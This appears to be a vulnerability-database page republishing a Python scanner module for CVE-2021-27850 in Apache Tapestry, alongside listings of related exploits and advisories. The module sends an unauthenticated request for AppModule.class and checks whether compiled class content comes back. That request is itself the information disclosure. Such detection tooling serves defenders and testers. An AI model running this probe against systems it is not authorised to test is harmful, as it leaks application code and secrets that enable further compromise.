Lucene search
+L

Apache Tapestry - AppModule.class Disclosure Detection (CVE-2021-27850)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated information disclosure in Apache Tapestry via AppModule.class.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Apache Tapestry
25 Jun 202113:55
–githubexploit
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Apache Tapestry
26 Jun 202114:16
–githubexploit
attackerkb
attackerkb
CVE-2021-27850
15 Apr 202108:15
–attackerkb
circl
Circl
CVE-2021-27850
26 Jun 202113:47
–circl
cnnvd
CNNVD
Apache Tapestry 代码问题漏洞
15 Apr 202100:00
–cnnvd
cnvd
CNVD
Apache Tapestry Code Execution Vulnerability
16 Apr 202100:00
–cnvd
cve
CVE
CVE-2021-27850
15 Apr 202107:40
–cve
cvelist
Cvelist
CVE-2021-27850 Bypass of the fix for CVE-2019-0195
15 Apr 202107:40
–cvelist
github
Github Security Blog
Remote code execution in Apache Tapestry
16 Jun 202117:33
–github
kitploit
Kitploit
CVE-2021-27850_POC
14 Oct 202623:47
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Tapestry AppModule.class asset disclosure (CVE-2021-27850)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache Tapestry - AppModule.class Disclosure Detection (CVE-2021-27850)',
        'description': (
            'Detects CVE-2021-27850 by requesting '
            '/assets/app/something/services/AppModule.class/, following the redirect, and '
            'checking for application/java content containing InnerClasses.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': [
            'web', 'scanner', 'cve', 'cve2021', 'apache', 'tapestry', 'rce',
            'info-disclosure', 'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 0.9,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://www.openwall.com/lists/oss-security/2021/04/15/1',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-27850',
        ],
        'cve': 'CVE-2021-27850',
    }

    def run(self):
        path = '/assets/app/something/services/AppModule.class/'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code not in (301, 302, 303, 307, 308):
            return False
        loc = r.headers.get('Location') or r.headers.get('location') or ''
        if not loc:
            return False
        # Location may be absolute; http_request expects a path.
        if '://' in loc:
            from urllib.parse import urlparse
            loc = urlparse(loc).path or loc
        if not loc.endswith('/'):
            loc = loc + '/'
        r2 = self.http_request(method='GET', path=loc, allow_redirects=False)
        if not r2 or r2.status_code != 200:
            return False
        ctype = (r2.headers.get('Content-Type') or r2.headers.get('content-type') or '').lower()
        body = r2.content or b''
        if 'application/java' in ctype and b'InnerClasses' in body:
            self.set_info(
                severity='critical',
                reason='Apache Tapestry AppModule.class disclosure (CVE-2021-27850)',
                path=loc,
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.3High risk
Vulners AI Score8.3
CVSS 3.19.8
CVSS 210
EPSS0.9356
2